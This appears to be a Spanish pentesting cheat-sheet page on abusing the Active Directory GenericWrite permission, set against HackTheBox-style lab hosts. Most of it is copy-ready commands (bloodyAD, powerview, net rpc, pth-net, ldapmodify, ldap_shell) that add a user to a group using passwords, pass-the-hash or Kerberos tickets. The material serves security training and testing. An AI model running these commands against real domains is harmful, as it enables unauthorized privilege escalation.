GenericWrite
Introduction
En Active Directory, cada objeto (usuario, grupo, equipo…) está protegido por una lista de control de acceso (ACL) cuyo conjunto de entradas (ACE) define qué acciones puede realizar cada identidad. El permiso GenericWrite actúa como una “master key” de escritura: engloba casi todos los derechos para modificar atributos y flags de un objeto, salvo aquellos que requieren permisos especiales (p. ej. resetear contraseñas).
Con GenericWrite sobre un usuario un atacante puede:
Escribir en servicePrincipalNames y lanzar un Kerberoasting dirigido.
Habilitar cuentas deshabilitadas modificando el
userAccountControl
.Marcar la bandera DONT_REQ_PREAUTH en
userAccountControl
, permitiendo AS-REP Roasting sin necesidad de preautenticación.Inyectar certificados en msDS-KeyCredentialLink para crear “Shadow Credentials” y autenticarse vía Kerberos PKINIT como si fuera ese usuario.
Si controla GenericWrite sobre un grupo, puede añadirse (o agregar cualquier otra cuenta) directamente al grupo, escalando privilegios al instante.
Y si lo obtiene sobre un objeto de equipo, puede tocar el atributo msDS-KeyCredentialLink del equipo, generando Shadow Credentials de máquina y autenticándose como esa cuenta de equipo mediante PKINIT.



Group
Add user to a group
En estos ejemplos, añadiremos al usuario targetUser
al grupo targetGroup
a través del usuario attacker
que es el que dispone del privilegio GenericWrite sobre el grupo targetGroup
, con lo cual podemos añadirnos a nosotros mismos o a otros usuarios.
From Linux
# User/Password Authentication
bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add groupMember 'targetGroup' 'targetUser'
# Pass-the-Hash (PtH) Authentication
bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' add groupMember 'targetGroup' 'targetUser'
# Kerberos Authentication (.ccache)
bloodyAD --host dc.domain.htb -d domain.htb -k add groupMember 'targetGroup' 'targetUser'
# Authentication
# ---------------------------------------------------------------------------------- #
## User/Password Authentication ##
powerview domain.htb/attacker:'Password01!'@10.10.10.10 --dc-ip 10.10.10.10
## Pass-the-Hash (PtH) Authentication ##
powerview domain.htb/attacker@10.10.10.10 -H '01e97f85894e06a5ad698f624b9a7ee9' --dc-ip 10.10.10
## Kerberos Authentication (.ccache) ##
powerview domain.htb/attacker@dc.domain.htb -k --no-pass --dc-ip 10.10.10.10
# Command to use
Add-DomainGroupMember -Identity 'targetGroup' -Members 'targetUser'
# User/Password Authentication
net rpc group ADDMEM 'targetGroup' 'targetUser' -U 'attacker%Password01!' -W domain.htb -I 10.10.10.10
# Pass-the-Hash (PtH) Authentication
net rpc group ADDMEM 'targetGroup' 'targetUser' -U 'attacker%01e97f85894e06a5ad698f624b9a7ee9' --pw-nt-hash -W domain.htb -I 10.10.10.10
# User/Password Authentication
pth-net rpc group addmem 'targetGroup' 'targetUser' -U 'attacker%Password01!' -W domain.htb -I 10.10.10.10
# Pass-the-Hash (PtH) Authentication
pth-net rpc group addmem 'targetGroup' 'targetUser' -U 'attacker%01e97f85894e06a5ad698f624b9a7ee9' --pw-nt-hash -W domain.htb -I 10.10.10.10
# Create add-user-to-group.ldif indicating the DN (of the targetGroup) and the member to add
❯ cat add-user-to-group.ldif
dn: CN=targetGroup,CN=USERS,DC=DOMAIN,DC=HTB
changetype: modify
add: member
member: CN=VICTIM,CN=USERS,DC=DOMAIN,DC=HTB
# Execute command
❯ ldapmodify -x -H ldap://10.10.10.10 -D "CN=attacker,CN=Users,DC=domain,DC=htb" -w 'Password01!' -f add-user-to-group.ldif
# Oneliner alternative method without .ldif
printf 'dn: CN=targetGroup,CN=USERS,DC=domain,DC=htb\nchangetype: modify\nadd: member\nmember: CN=VICTIM,CN=USERS,DC=domain,DC=htb\n' | ldapmodify -x -H ldap://10.10.10.10 -D "CN=attacker,CN=Users,DC=domain,DC=htb" -w 'Password01!'
# Authentication
# ---------------------------------------------------------------------------------- #
## User/Password Authentication ##
ldap_shell domain.htb/attacker:'Password01!' -dc-ip 10.10.10.10
## Pass-the-Hash (PtH) Authentication ##
ldap_shell domain.htb/attacker -hashes 'aad3b435b51404eeaad3b435b51404ee:01e97f85894e06a5ad698f624b9a7ee9' -dc-ip 10.10.10.10
## Kerberos Authentication (.ccache) ##
ldap_shell domain.htb/attacker -k -no-pass -dc-host dc.domain.htb -dc-ip 10.10.10.10
# Command to use
add_user_to_group targetUser targetGroup
From Windows
net group 'targetGroup' 'targetUser' /add /domain
# User/Password Authentication
.\bloodyAD.exe --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add groupMember 'targetGroup' 'targetUser'
# Pass-the-Hash (PtH) Authentication
.\bloodyAD.exe --host 10.10.10.10 -d domain.htb -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' add groupMember 'targetGroup' 'targetUser'
# Kerberos Authentication (.ccache)
.\bloodyAD.exe --host dc.domain.htb -d domain.htb -k add groupMember 'targetGroup' 'targetUser'
User
Enable disabled user
Kerberoasting
AS-REP Roasting
Shadow Credentials
Script path
Computer
Resource-based Constrained Delegation(RBCD Attack)
References
Última actualización
¿Te fue útil?